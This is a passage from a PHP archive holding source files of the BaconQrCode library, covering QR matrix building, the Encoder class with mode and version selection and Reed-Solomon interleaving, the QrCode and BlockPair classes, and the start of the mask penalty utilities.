        }
    }

    /**
     * Embeds a single vertical separation pattern.
     *
     * @throws RuntimeException if a byte was already set
     */
    private static function embedVerticalSeparationPattern(int $xStart, int $yStart, ByteMatrix $matrix) : void
    {
        for ($y = 0; $y < 7; $y++) {
            if (-1 !== $matrix->get($xStart, $yStart + $y)) {
                throw new RuntimeException('Byte already set');
            }

            $matrix->set($xStart, $yStart + $y, 0);
        }
    }

    /**
     * Embeds a dot at the left bottom corner.
     *
     * @throws RuntimeException if a byte was already set to 0
     */
    private static function embedDarkDotAtLeftBottomCorner(ByteMatrix $matrix) : void
    {
        if (0 === $matrix->get(8, $matrix->getHeight() - 8)) {
            throw new RuntimeException('Byte already set to 0');
        }

        $matrix->set(8, $matrix->getHeight() - 8, 1);
    }

    /**
     * Embeds position adjustment patterns if required.
     */
    private static function maybeEmbedPositionAdjustmentPatterns(Version $version, ByteMatrix $matrix) : void
    {
        if ($version->getVersionNumber() < 2) {
            return;
        }

        $index = $version->getVersionNumber() - 1;

        $coordinates = self::POSITION_ADJUSTMENT_PATTERN_COORDINATE_TABLE[$index];
        $numCoordinates = count($coordinates);

        for ($i = 0; $i < $numCoordinates; ++$i) {
            for ($j = 0; $j < $numCoordinates; ++$j) {
                $y = $coordinates[$i];
                $x = $coordinates[$j];

                if (null === $x || null === $y) {
                    continue;
                }

                if (-1 === $matrix->get($x, $y)) {
                    self::embedPositionAdjustmentPattern($x - 2, $y - 2, $matrix);
                }
            }
        }
    }

    /**
     * Embeds a single position adjustment pattern.
     */
    private static function embedPositionAdjustmentPattern(int $xStart, int $yStart, ByteMatrix $matrix) : void
    {
        for ($y = 0; $y < 5; $y++) {
            for ($x = 0; $x < 5; $x++) {
                $matrix->set($xStart + $x, $yStart + $y, self::POSITION_ADJUSTMENT_PATTERN[$y][$x]);
            }
        }
    }

    /**
     * Embeds timing patterns into a matrix.
     */
    private static function embedTimingPatterns(ByteMatrix $matrix) : void
    {
        $matrixWidth = $matrix->getWidth();

        for ($i = 8; $i < $matrixWidth - 8; ++$i) {
            $bit = ($i + 1) % 2;

            if (-1 === $matrix->get($i, 6)) {
                $matrix->set($i, 6, $bit);
            }

            if (-1 === $matrix->get(6, $i)) {
                $matrix->set(6, $i, $bit);
            }
        }
    }

    /**
     * Embeds "dataBits" using "getMaskPattern".
     *
     * For debugging purposes, it skips masking process if "getMaskPattern" is -1. See 8.7 of JISX0510:2004 (p.38) for
     * how to embed data bits.
     *
     * @throws WriterException if not all bits could be consumed
     */
    private static function embedDataBits(BitArray $dataBits, int $maskPattern, ByteMatrix $matrix) : void
    {
        $bitIndex = 0;
        $direction = -1;

        // Start from the right bottom cell.
        $x = $matrix->getWidth() - 1;
        $y = $matrix->getHeight() - 1;

        while ($x > 0) {
            // Skip vertical timing pattern.
            if (6 === $x) {
                --$x;
            }

            while ($y >= 0 && $y < $matrix->getHeight()) {
                for ($i = 0; $i < 2; $i++) {
                    $xx = $x - $i;

                    // Skip the cell if it's not empty.
                    if (-1 !== $matrix->get($xx, $y)) {
                        continue;
                    }

                    if ($bitIndex < $dataBits->getSize()) {
                        $bit = $dataBits->get($bitIndex);
                        ++$bitIndex;
                    } else {
                        // Padding bit. If there is no bit left, we'll fill the
                        // left cells with 0, as described in 8.4.9 of
                        // JISX0510:2004 (p. 24).
                        $bit = false;
                    }

                    // Skip masking if maskPattern is -1.
                    if (-1 !== $maskPattern && MaskUtil::getDataMaskBit($maskPattern, $xx, $y)) {
                        $bit = ! $bit;
                    }

                    $matrix->set($xx, $y, (int) $bit);
                }

                $y += $direction;
            }

            $direction  = -$direction;
            $y += $direction;
            $x -= 2;
        }

        // All bits should be consumed
        if ($dataBits->getSize() !== $bitIndex) {
            throw new WriterException('Not all bits consumed (' . $bitIndex . ' out of ' . $dataBits->getSize() .')');
        }
    }
}
PKh�\4�q��U�U2vendor/bacon/bacon-qr-code/src/Encoder/Encoder.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use BaconQrCode\Common\BitArray;
use BaconQrCode\Common\CharacterSetEci;
use BaconQrCode\Common\ErrorCorrectionLevel;
use BaconQrCode\Common\Mode;
use BaconQrCode\Common\ReedSolomonCodec;
use BaconQrCode\Common\Version;
use BaconQrCode\Exception\WriterException;
use SplFixedArray;

/**
 * Encoder.
 */
final class Encoder
{
    /**
     * Default byte encoding.
     */
    public const DEFAULT_BYTE_MODE_ECODING = 'ISO-8859-1';

    /**
     * The original table is defined in the table 5 of JISX0510:2004 (p.19).
     */
    private const ALPHANUMERIC_TABLE = [
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,  // 0x00-0x0f
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,  // 0x10-0x1f
        36, -1, -1, -1, 37, 38, -1, -1, -1, -1, 39, 40, -1, 41, 42, 43,  // 0x20-0x2f
        0,   1,  2,  3,  4,  5,  6,  7,  8,  9, 44, -1, -1, -1, -1, -1,  // 0x30-0x3f
        -1, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24,  // 0x40-0x4f
        25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, -1, -1, -1, -1, -1,  // 0x50-0x5f
    ];

    /**
     * Codec cache.
     *
     * @var array<string,ReedSolomonCodec>
     */
    private static $codecs = [];

    /**
     * Encodes "content" with the error correction level "ecLevel".
     */
    public static function encode(
        string $content,
        ErrorCorrectionLevel $ecLevel,
        string $encoding = self::DEFAULT_BYTE_MODE_ECODING,
        ?Version $forcedVersion = null
    ) : QrCode {
        // Pick an encoding mode appropriate for the content. Note that this
        // will not attempt to use multiple modes / segments even if that were
        // more efficient. Would be nice.
        $mode = self::chooseMode($content, $encoding);

        // This will store the header information, like mode and length, as well
        // as "header" segments like an ECI segment.
        $headerBits = new BitArray();

        // Append ECI segment if applicable
        if (Mode::BYTE() === $mode && self::DEFAULT_BYTE_MODE_ECODING !== $encoding) {
            $eci = CharacterSetEci::getCharacterSetEciByName($encoding);

            if (null !== $eci) {
                self::appendEci($eci, $headerBits);
            }
        }

        // (With ECI in place,) Write the mode marker
        self::appendModeInfo($mode, $headerBits);

        // Collect data within the main segment, separately, to count its size
        // if needed. Don't add it to main payload yet.
        $dataBits = new BitArray();
        self::appendBytes($content, $mode, $dataBits, $encoding);

        // Hard part: need to know version to know how many bits length takes.
        // But need to know how many bits it takes to know version. First we
        // take a guess at version by assuming version will be the minimum, 1:
        $provisionalBitsNeeded = $headerBits->getSize()
            + $mode->getCharacterCountBits(Version::getVersionForNumber(1))
            + $dataBits->getSize();
        $provisionalVersion = self::chooseVersion($provisionalBitsNeeded, $ecLevel);

        // Use that guess to calculate the right version. I am still not sure
        // this works in 100% of cases.
        $bitsNeeded = $headerBits->getSize()
            + $mode->getCharacterCountBits($provisionalVersion)
            + $dataBits->getSize();
        $version = self::chooseVersion($bitsNeeded, $ecLevel);

        if (null !== $forcedVersion) {
            // Forced version check
            if ($version->getVersionNumber() <= $forcedVersion->getVersionNumber()) {
                // Calculated minimum version is same or equal as forced version
                $version = $forcedVersion;
            } else {
                throw new WriterException(
                    'Invalid version! Calculated version: '
                    . $version->getVersionNumber()
                    . ', requested version: '
                    . $forcedVersion->getVersionNumber()
                );
            }
        }

        $headerAndDataBits = new BitArray();
        $headerAndDataBits->appendBitArray($headerBits);

        // Find "length" of main segment and write it.
        $numLetters = (Mode::BYTE() === $mode ? $dataBits->getSizeInBytes() : strlen($content));
        self::appendLengthInfo($numLetters, $version, $mode, $headerAndDataBits);

        // Put data together into the overall payload.
        $headerAndDataBits->appendBitArray($dataBits);
        $ecBlocks = $version->getEcBlocksForLevel($ecLevel);
        $numDataBytes = $version->getTotalCodewords() - $ecBlocks->getTotalEcCodewords();

        // Terminate the bits properly.
        self::terminateBits($numDataBytes, $headerAndDataBits);

        // Interleave data bits with error correction code.
        $finalBits = self::interleaveWithEcBytes(
            $headerAndDataBits,
            $version->getTotalCodewords(),
            $numDataBytes,
            $ecBlocks->getNumBlocks()
        );

        // Choose the mask pattern.
        $dimension = $version->getDimensionForVersion();
        $matrix = new ByteMatrix($dimension, $dimension);
        $maskPattern = self::chooseMaskPattern($finalBits, $ecLevel, $version, $matrix);

        // Build the matrix.
        MatrixUtil::buildMatrix($finalBits, $ecLevel, $version, $maskPattern, $matrix);

        return new QrCode($mode, $ecLevel, $version, $maskPattern, $matrix);
    }

    /**
     * Gets the alphanumeric code for a byte.
     */
    private static function getAlphanumericCode(int $code) : int
    {
        if (isset(self::ALPHANUMERIC_TABLE[$code])) {
            return self::ALPHANUMERIC_TABLE[$code];
        }

        return -1;
    }

    /**
     * Chooses the best mode for a given content.
     */
    private static function chooseMode(string $content, string $encoding = null) : Mode
    {
        if (null !== $encoding && 0 === strcasecmp($encoding, 'SHIFT-JIS')) {
            return self::isOnlyDoubleByteKanji($content) ? Mode::KANJI() : Mode::BYTE();
        }

        $hasNumeric = false;
        $hasAlphanumeric = false;
        $contentLength = strlen($content);

        for ($i = 0; $i < $contentLength; ++$i) {
            $char = $content[$i];

            if (ctype_digit($char)) {
                $hasNumeric = true;
            } elseif (-1 !== self::getAlphanumericCode(ord($char))) {
                $hasAlphanumeric = true;
            } else {
                return Mode::BYTE();
            }
        }

        if ($hasAlphanumeric) {
            return Mode::ALPHANUMERIC();
        } elseif ($hasNumeric) {
            return Mode::NUMERIC();
        }

        return Mode::BYTE();
    }

    /**
     * Calculates the mask penalty for a matrix.
     */
    private static function calculateMaskPenalty(ByteMatrix $matrix) : int
    {
        return (
            MaskUtil::applyMaskPenaltyRule1($matrix)
            + MaskUtil::applyMaskPenaltyRule2($matrix)
            + MaskUtil::applyMaskPenaltyRule3($matrix)
            + MaskUtil::applyMaskPenaltyRule4($matrix)
        );
    }

    /**
     * Checks if content only consists of double-byte kanji characters.
     */
    private static function isOnlyDoubleByteKanji(string $content) : bool
    {
        $bytes = @iconv('utf-8', 'SHIFT-JIS', $content);

        if (false === $bytes) {
            return false;
        }

        $length = strlen($bytes);

        if (0 !== $length % 2) {
            return false;
        }

        for ($i = 0; $i < $length; $i += 2) {
            $byte = $bytes[$i] & 0xff;

            if (($byte < 0x81 || $byte > 0x9f) && $byte < 0xe0 || $byte > 0xeb) {
                return false;
            }
        }

        return true;
    }

    /**
     * Chooses the best mask pattern for a matrix.
     */
    private static function chooseMaskPattern(
        BitArray $bits,
        ErrorCorrectionLevel $ecLevel,
        Version $version,
        ByteMatrix $matrix
    ) : int {
        $minPenalty = PHP_INT_MAX;
        $bestMaskPattern = -1;

        for ($maskPattern = 0; $maskPattern < QrCode::NUM_MASK_PATTERNS; ++$maskPattern) {
            MatrixUtil::buildMatrix($bits, $ecLevel, $version, $maskPattern, $matrix);
            $penalty = self::calculateMaskPenalty($matrix);

            if ($penalty < $minPenalty) {
                $minPenalty = $penalty;
                $bestMaskPattern = $maskPattern;
            }
        }

        return $bestMaskPattern;
    }

    /**
     * Chooses the best version for the input.
     *
     * @throws WriterException if data is too big
     */
    private static function chooseVersion(int $numInputBits, ErrorCorrectionLevel $ecLevel) : Version
    {
        for ($versionNum = 1; $versionNum <= 40; ++$versionNum) {
            $version = Version::getVersionForNumber($versionNum);
            $numBytes = $version->getTotalCodewords();

            $ecBlocks = $version->getEcBlocksForLevel($ecLevel);
            $numEcBytes = $ecBlocks->getTotalEcCodewords();

            $numDataBytes = $numBytes - $numEcBytes;
            $totalInputBytes = intdiv($numInputBits + 8, 8);

            if ($numDataBytes >= $totalInputBytes) {
                return $version;
            }
        }

        throw new WriterException('Data too big');
    }

    /**
     * Terminates the bits in a bit array.
     *
     * @throws WriterException if data bits cannot fit in the QR code
     * @throws WriterException if bits size does not equal the capacity
     */
    private static function terminateBits(int $numDataBytes, BitArray $bits) : void
    {
        $capacity = $numDataBytes << 3;

        if ($bits->getSize() > $capacity) {
            throw new WriterException('Data bits cannot fit in the QR code');
        }

        for ($i = 0; $i < 4 && $bits->getSize() < $capacity; ++$i) {
            $bits->appendBit(false);
        }

        $numBitsInLastByte = $bits->getSize() & 0x7;

        if ($numBitsInLastByte > 0) {
            for ($i = $numBitsInLastByte; $i < 8; ++$i) {
                $bits->appendBit(false);
            }
        }

        $numPaddingBytes = $numDataBytes - $bits->getSizeInBytes();

        for ($i = 0; $i < $numPaddingBytes; ++$i) {
            $bits->appendBits(0 === ($i & 0x1) ? 0xec : 0x11, 8);
        }

        if ($bits->getSize() !== $capacity) {
            throw new WriterException('Bits size does not equal capacity');
        }
    }

    /**
     * Gets number of data- and EC bytes for a block ID.
     *
     * @return int[]
     * @throws WriterException if block ID is too large
     * @throws WriterException if EC bytes mismatch
     * @throws WriterException if RS blocks mismatch
     * @throws WriterException if total bytes mismatch
     */
    private static function getNumDataBytesAndNumEcBytesForBlockId(
        int $numTotalBytes,
        int $numDataBytes,
        int $numRsBlocks,
        int $blockId
    ) : array {
        if ($blockId >= $numRsBlocks) {
            throw new WriterException('Block ID too large');
        }

        $numRsBlocksInGroup2 = $numTotalBytes % $numRsBlocks;
        $numRsBlocksInGroup1 = $numRsBlocks - $numRsBlocksInGroup2;
        $numTotalBytesInGroup1 = intdiv($numTotalBytes, $numRsBlocks);
        $numTotalBytesInGroup2 = $numTotalBytesInGroup1 + 1;
        $numDataBytesInGroup1 = intdiv($numDataBytes, $numRsBlocks);
        $numDataBytesInGroup2 = $numDataBytesInGroup1 + 1;
        $numEcBytesInGroup1 = $numTotalBytesInGroup1 - $numDataBytesInGroup1;
        $numEcBytesInGroup2 = $numTotalBytesInGroup2 - $numDataBytesInGroup2;

        if ($numEcBytesInGroup1 !== $numEcBytesInGroup2) {
            throw new WriterException('EC bytes mismatch');
        }

        if ($numRsBlocks !== $numRsBlocksInGroup1 + $numRsBlocksInGroup2) {
            throw new WriterException('RS blocks mismatch');
        }

        if ($numTotalBytes !==
            (($numDataBytesInGroup1 + $numEcBytesInGroup1) * $numRsBlocksInGroup1)
            + (($numDataBytesInGroup2 + $numEcBytesInGroup2) * $numRsBlocksInGroup2)
        ) {
            throw new WriterException('Total bytes mismatch');
        }

        if ($blockId < $numRsBlocksInGroup1) {
            return [$numDataBytesInGroup1, $numEcBytesInGroup1];
        } else {
            return [$numDataBytesInGroup2, $numEcBytesInGroup2];
        }
    }

    /**
     * Interleaves data with EC bytes.
     *
     * @throws WriterException if number of bits and data bytes does not match
     * @throws WriterException if data bytes does not match offset
     * @throws WriterException if an interleaving error occurs
     */
    private static function interleaveWithEcBytes(
        BitArray $bits,
        int $numTotalBytes,
        int $numDataBytes,
        int $numRsBlocks
    ) : BitArray {
        if ($bits->getSizeInBytes() !== $numDataBytes) {
            throw new WriterException('Number of bits and data bytes does not match');
        }

        $dataBytesOffset = 0;
        $maxNumDataBytes = 0;
        $maxNumEcBytes   = 0;

        $blocks = new SplFixedArray($numRsBlocks);

        for ($i = 0; $i < $numRsBlocks; ++$i) {
            list($numDataBytesInBlock, $numEcBytesInBlock) = self::getNumDataBytesAndNumEcBytesForBlockId(
                $numTotalBytes,
                $numDataBytes,
                $numRsBlocks,
                $i
            );

            $size = $numDataBytesInBlock;
            $dataBytes = $bits->toBytes(8 * $dataBytesOffset, $size);
            $ecBytes = self::generateEcBytes($dataBytes, $numEcBytesInBlock);
            $blocks[$i] = new BlockPair($dataBytes, $ecBytes);

            $maxNumDataBytes = max($maxNumDataBytes, $size);
            $maxNumEcBytes = max($maxNumEcBytes, count($ecBytes));
            $dataBytesOffset += $numDataBytesInBlock;
        }

        if ($numDataBytes !== $dataBytesOffset) {
            throw new WriterException('Data bytes does not match offset');
        }

        $result = new BitArray();

        for ($i = 0; $i < $maxNumDataBytes; ++$i) {
            foreach ($blocks as $block) {
                $dataBytes = $block->getDataBytes();

                if ($i < count($dataBytes)) {
                    $result->appendBits($dataBytes[$i], 8);
                }
            }
        }

        for ($i = 0; $i < $maxNumEcBytes; ++$i) {
            foreach ($blocks as $block) {
                $ecBytes = $block->getErrorCorrectionBytes();

                if ($i < count($ecBytes)) {
                    $result->appendBits($ecBytes[$i], 8);
                }
            }
        }

        if ($numTotalBytes !== $result->getSizeInBytes()) {
            throw new WriterException(
                'Interleaving error: ' . $numTotalBytes . ' and ' . $result->getSizeInBytes() . ' differ'
            );
        }

        return $result;
    }

    /**
     * Generates EC bytes for given data.
     *
     * @param  SplFixedArray<int> $dataBytes
     * @return SplFixedArray<int>
     */
    private static function generateEcBytes(SplFixedArray $dataBytes, int $numEcBytesInBlock) : SplFixedArray
    {
        $numDataBytes = count($dataBytes);
        $toEncode = new SplFixedArray($numDataBytes + $numEcBytesInBlock);

        for ($i = 0; $i < $numDataBytes; $i++) {
            $toEncode[$i] = $dataBytes[$i] & 0xff;
        }

        $ecBytes = new SplFixedArray($numEcBytesInBlock);
        $codec = self::getCodec($numDataBytes, $numEcBytesInBlock);
        $codec->encode($toEncode, $ecBytes);

        return $ecBytes;
    }

    /**
     * Gets an RS codec and caches it.
     */
    private static function getCodec(int $numDataBytes, int $numEcBytesInBlock) : ReedSolomonCodec
    {
        $cacheId = $numDataBytes . '-' . $numEcBytesInBlock;

        if (isset(self::$codecs[$cacheId])) {
            return self::$codecs[$cacheId];
        }

        return self::$codecs[$cacheId] = new ReedSolomonCodec(
            8,
            0x11d,
            0,
            1,
            $numEcBytesInBlock,
            255 - $numDataBytes - $numEcBytesInBlock
        );
    }

    /**
     * Appends mode information to a bit array.
     */
    private static function appendModeInfo(Mode $mode, BitArray $bits) : void
    {
        $bits->appendBits($mode->getBits(), 4);
    }

    /**
     * Appends length information to a bit array.
     *
     * @throws WriterException if num letters is bigger than expected
     */
    private static function appendLengthInfo(int $numLetters, Version $version, Mode $mode, BitArray $bits) : void
    {
        $numBits = $mode->getCharacterCountBits($version);

        if ($numLetters >= (1 << $numBits)) {
            throw new WriterException($numLetters . ' is bigger than ' . ((1 << $numBits) - 1));
        }

        $bits->appendBits($numLetters, $numBits);
    }

    /**
     * Appends bytes to a bit array in a specific mode.
     *
     * @throws WriterException if an invalid mode was supplied
     */
    private static function appendBytes(string $content, Mode $mode, BitArray $bits, string $encoding) : void
    {
        switch ($mode) {
            case Mode::NUMERIC():
                self::appendNumericBytes($content, $bits);
                break;

            case Mode::ALPHANUMERIC():
                self::appendAlphanumericBytes($content, $bits);
                break;

            case Mode::BYTE():
                self::append8BitBytes($content, $bits, $encoding);
                break;

            case Mode::KANJI():
                self::appendKanjiBytes($content, $bits);
                break;

            default:
                throw new WriterException('Invalid mode: ' . $mode);
        }
    }

    /**
     * Appends numeric bytes to a bit array.
     */
    private static function appendNumericBytes(string $content, BitArray $bits) : void
    {
        $length = strlen($content);
        $i = 0;

        while ($i < $length) {
            $num1 = (int) $content[$i];

            if ($i + 2 < $length) {
                // Encode three numeric letters in ten bits.
                $num2 = (int) $content[$i + 1];
                $num3 = (int) $content[$i + 2];
                $bits->appendBits($num1 * 100 + $num2 * 10 + $num3, 10);
                $i += 3;
            } elseif ($i + 1 < $length) {
                // Encode two numeric letters in seven bits.
                $num2 = (int) $content[$i + 1];
                $bits->appendBits($num1 * 10 + $num2, 7);
                $i += 2;
            } else {
                // Encode one numeric letter in four bits.
                $bits->appendBits($num1, 4);
                ++$i;
            }
        }
    }

    /**
     * Appends alpha-numeric bytes to a bit array.
     *
     * @throws WriterException if an invalid alphanumeric code was found
     */
    private static function appendAlphanumericBytes(string $content, BitArray $bits) : void
    {
        $length = strlen($content);
        $i = 0;

        while ($i < $length) {
            $code1 = self::getAlphanumericCode(ord($content[$i]));

            if (-1 === $code1) {
                throw new WriterException('Invalid alphanumeric code');
            }

            if ($i + 1 < $length) {
                $code2 = self::getAlphanumericCode(ord($content[$i + 1]));

                if (-1 === $code2) {
                    throw new WriterException('Invalid alphanumeric code');
                }

                // Encode two alphanumeric letters in 11 bits.
                $bits->appendBits($code1 * 45 + $code2, 11);
                $i += 2;
            } else {
                // Encode one alphanumeric letter in six bits.
                $bits->appendBits($code1, 6);
                ++$i;
            }
        }
    }

    /**
     * Appends regular 8-bit bytes to a bit array.
     *
     * @throws WriterException if content cannot be encoded to target encoding
     */
    private static function append8BitBytes(string $content, BitArray $bits, string $encoding) : void
    {
        $bytes = @iconv('utf-8', $encoding, $content);

        if (false === $bytes) {
            throw new WriterException('Could not encode content to ' . $encoding);
        }

        $length = strlen($bytes);

        for ($i = 0; $i < $length; $i++) {
            $bits->appendBits(ord($bytes[$i]), 8);
        }
    }

    /**
     * Appends KANJI bytes to a bit array.
     *
     * @throws WriterException if content does not seem to be encoded in SHIFT-JIS
     * @throws WriterException if an invalid byte sequence occurs
     */
    private static function appendKanjiBytes(string $content, BitArray $bits) : void
    {
        if (strlen($content) % 2 > 0) {
            // We just do a simple length check here. The for loop will check
            // individual characters.
            throw new WriterException('Content does not seem to be encoded in SHIFT-JIS');
        }

        $length = strlen($content);

        for ($i = 0; $i < $length; $i += 2) {
            $byte1 = ord($content[$i]) & 0xff;
            $byte2 = ord($content[$i + 1]) & 0xff;
            $code = ($byte1 << 8) | $byte2;

            if ($code >= 0x8140 && $code <= 0x9ffc) {
                $subtracted = $code - 0x8140;
            } elseif ($code >= 0xe040 && $code <= 0xebbf) {
                $subtracted = $code - 0xc140;
            } else {
                throw new WriterException('Invalid byte sequence');
            }

            $encoded = (($subtracted >> 8) * 0xc0) + ($subtracted & 0xff);

            $bits->appendBits($encoded, 13);
        }
    }

    /**
     * Appends ECI information to a bit array.
     */
    private static function appendEci(CharacterSetEci $eci, BitArray $bits) : void
    {
        $mode = Mode::ECI();
        $bits->appendBits($mode->getBits(), 4);
        $bits->appendBits($eci->getValue(), 8);
    }
}
PKh�\=f�.�
�
1vendor/bacon/bacon-qr-code/src/Encoder/QrCode.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use BaconQrCode\Common\ErrorCorrectionLevel;
use BaconQrCode\Common\Mode;
use BaconQrCode\Common\Version;

/**
 * QR code.
 */
final class QrCode
{
    /**
     * Number of possible mask patterns.
     */
    public const NUM_MASK_PATTERNS = 8;

    /**
     * Mode of the QR code.
     *
     * @var Mode
     */
    private $mode;

    /**
     * EC level of the QR code.
     *
     * @var ErrorCorrectionLevel
     */
    private $errorCorrectionLevel;

    /**
     * Version of the QR code.
     *
     * @var Version
     */
    private $version;

    /**
     * Mask pattern of the QR code.
     *
     * @var int
     */
    private $maskPattern = -1;

    /**
     * Matrix of the QR code.
     *
     * @var ByteMatrix
     */
    private $matrix;

    public function __construct(
        Mode $mode,
        ErrorCorrectionLevel $errorCorrectionLevel,
        Version $version,
        int $maskPattern,
        ByteMatrix $matrix
    ) {
        $this->mode = $mode;
        $this->errorCorrectionLevel = $errorCorrectionLevel;
        $this->version = $version;
        $this->maskPattern = $maskPattern;
        $this->matrix = $matrix;
    }

    /**
     * Gets the mode.
     */
    public function getMode() : Mode
    {
        return $this->mode;
    }

    /**
     * Gets the EC level.
     */
    public function getErrorCorrectionLevel() : ErrorCorrectionLevel
    {
        return $this->errorCorrectionLevel;
    }

    /**
     * Gets the version.
     */
    public function getVersion() : Version
    {
        return $this->version;
    }

    /**
     * Gets the mask pattern.
     */
    public function getMaskPattern() : int
    {
        return $this->maskPattern;
    }

    /**
     * Gets the matrix.
     *
     * @return ByteMatrix
     */
    public function getMatrix()
    {
        return $this->matrix;
    }

    /**
     * Validates whether a mask pattern is valid.
     */
    public static function isValidMaskPattern(int $maskPattern) : bool
    {
        return $maskPattern > 0 && $maskPattern < self::NUM_MASK_PATTERNS;
    }

    /**
     * Returns a string representation of the QR code.
     */
    public function __toString() : string
    {
        $result = "<<\n"
                . ' mode: ' . $this->mode . "\n"
                . ' ecLevel: ' . $this->errorCorrectionLevel . "\n"
                . ' version: ' . $this->version . "\n"
                . ' maskPattern: ' . $this->maskPattern . "\n";

        if ($this->matrix === null) {
            $result .= " matrix: null\n";
        } else {
            $result .= " matrix:\n";
            $result .= $this->matrix;
        }

        $result .= ">>\n";

        return $result;
    }
}
PKh�\��C�VV4vendor/bacon/bacon-qr-code/src/Encoder/BlockPair.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use SplFixedArray;

/**
 * Block pair.
 */
final class BlockPair
{
    /**
     * Data bytes in the block.
     *
     * @var SplFixedArray<int>
     */
    private $dataBytes;

    /**
     * Error correction bytes in the block.
     *
     * @var SplFixedArray<int>
     */
    private $errorCorrectionBytes;

    /**
     * Creates a new block pair.
     *
     * @param SplFixedArray<int> $data
     * @param SplFixedArray<int> $errorCorrection
     */
    public function __construct(SplFixedArray $data, SplFixedArray $errorCorrection)
    {
        $this->dataBytes = $data;
        $this->errorCorrectionBytes = $errorCorrection;
    }

    /**
     * Gets the data bytes.
     *
     * @return SplFixedArray<int>
     */
    public function getDataBytes() : SplFixedArray
    {
        return $this->dataBytes;
    }

    /**
     * Gets the error correction bytes.
     *
     * @return SplFixedArray<int>
     */
    public function getErrorCorrectionBytes() : SplFixedArray
    {
        return $this->errorCorrectionBytes;
    }
}
PKh�\G��� � 3vendor/bacon/bacon-qr-code/src/Encoder/MaskUtil.phpnu�[���<?php
declare(strict_types = 1);

namespace BaconQrCode\Encoder;

use BaconQrCode\Common\BitUtils;
use BaconQrCode\Exception\InvalidArgumentException;

/**
 * Mask utility.
 */
final class MaskUtil
{
    /**#@+
     * Penalty weights from section 6.8.2.1
     */
    const N1 = 3;
    const N2 = 3;
    const N3 = 40;
    const N4 = 10;
    /**#@-*/

    private function __construct()
    {
    }

    /**
     * Applies mask penalty rule 1 and returns the penalty.
     *
     * Finds repetitive cells with the same color and gives penalty to them.
     * Example: 00000 or 11111.
     */
    public static function applyMaskPenaltyRule1(ByteMatrix $matrix) : int
    {
        return (
            self::applyMaskPenaltyRule1Internal($matrix, true)
            + self::applyMaskPenaltyRule1Internal($matrix, false)
        );
    }

    /**
     * Applies mask penalty rule 2 and returns the penalty.
     *
     * Finds 2x2 blocks with the same color and gives penalty to them. This is
     * actually equivalent to the spec's rule, which is to find MxN blocks and
     * give a penalty proportional to (M-1)x(N-1), because this is the number of
     * 2x2 blocks inside such a block.
     */
    public static function applyMaskPenaltyRule2(ByteMatrix $matrix) : int
    {
        $penalty = 0;
        $array = $matrix->getArray();
        $width = $matrix->getWidth();
        $height = $matrix->getHeight();

        for ($y = 0; $y < $height - 1; ++$y) {
            for ($x = 0; $x < $width - 1; ++$x) {
                $value = $array[$y][$x];

                if ($value === $array[$y][$x + 1]
                    && $value === $array[$y + 1][$x]
                    && $value === $array[$y + 1][$x + 1]
                ) {
                    ++$penalty;
                }
            }
        }

        return self::N2 * $penalty;
    }

    /**
     * Applies mask penalty rule 3 and returns the penalty.
     *
     * Finds consecutive cells of 00001011101 or 10111010000, and gives penalty
     * to them. If we find patterns like 000010111010000, we give penalties
     * twice (i.e. 40 * 2).
     */
    public static function applyMaskPenaltyRule3(ByteMatrix $matrix) : int
    {
        $penalty = 0;
        $array = $matrix->getArray();
        $width = $matrix->getWidth();
        $height = $matrix->getHeight();

        for ($y = 0; $y < $height; ++$y) {
            for ($x = 0; $x < $width; ++$x) {
                if ($x + 6 < $width
                    && 1 === $array[$y][$x]
                    && 0 === $array[$y][$x + 1]
                    && 1 === $array[$y][$x + 2]
                    && 1 === $array[$y][$x + 3]
                    && 1 === $array[$y][$x + 4]
                    && 0 === $array[$y][$x + 5]
                    && 1 === $array[$y][$x + 6]
                    && (
                        (
                            $x + 10 < $width
                            && 0 === $array[$y][$x + 7]
                            && 0 === $array[$y][$x + 8]
                            && 0 === $array[$y][$x + 9]
                            && 0 === $array[$y][$x + 10]
                        )
                        || (
                            $x - 4 >= 0
                            && 0 === $array[$y][$x - 1]
                            && 0 === $array[$y][$x - 2]
                            && 0 === $array[$y][$x - 3]
                            && 0 === $array[$y][$x - 4]
                        )
                    )
                ) {
                    $penalty += self::N3;
                }

                if ($y + 6 < $height
                    && 1 === $array[$y][$x]
                    && 0 === $array[$y + 1][$x]
                    && 1 === $array[$y + 2][$x]
                    && 1 === $array[$y + 3][$x]
                    && 1 === $array[$y + 4][$x]
                    && 0 === $array[$y + 5][$x]
                    && 1 === $array[$y + 6][$x]
                    && (
                        (
                            $y + 10 < $height
                            && 0 === $array[$y + 7][$x]
                            && 0 === $array[$y + 8][$x]
                            && 0 === $array[$y + 9][$x]
                            && 0 === $array[$y + 10][$x]
                        )
                        || (
                            $y - 4 >= 0
                            && 0 === $array[$y - 1][$x]
                            && 0 === $array[$y - 2][$x]
                            && 0 === $array[$y - 3][$x]
                            && 0 === $array[$y - 4][$x]
                        )
                    )
                ) {
                    $penalty += self::N3;
                }
            }
        }

        return $penalty;
    }

    /**
     * Applies mask penalty rule 4 and returns the penalty.
     *
     * Calculates the ratio of dark cells and gives penalty if the ratio is far
     * from 50%. It gives 10 penalty for 5% distance.
     */
    public static function applyMaskPenaltyRule4(ByteMatrix $matrix) : int
    {
        $numDarkCells = 0;

        $array = $matrix->getArray();
        $width = $matrix->getWidth();
        $height = $matrix->getHeight();

        for ($y = 0; $y < $height; ++$y) {
            $arrayY = $array[$y];

            for ($x = 0; $x < $width; ++$x) {
                if (1 === $arrayY[$x]) {
                    ++$numDarkCells;
                }
            }
        }

        $numTotalCells = $height * $width;
        $darkRatio = $numDarkCells / $numTotalCells;
        $fixedPercentVariances = (int) (abs($darkRatio - 0.5) * 20);

        return $fixedPercentVariances * self::N4;
    }

    /**
     * Returns the mask bit for "getMaskPattern" at "x" and "y".
     *
     * See 8.8 of JISX0510:2004 for mask pattern conditions.
     *
     * @throws InvalidArgumentException if an invalid mask pattern was supplied
     */
    public static function getDataMaskBit(int $maskPattern, int $x, int $y) : bool
    {
        switch ($maskPattern) {
            case 0:
                $intermediate = ($y + $x) & 0x1;
                break;
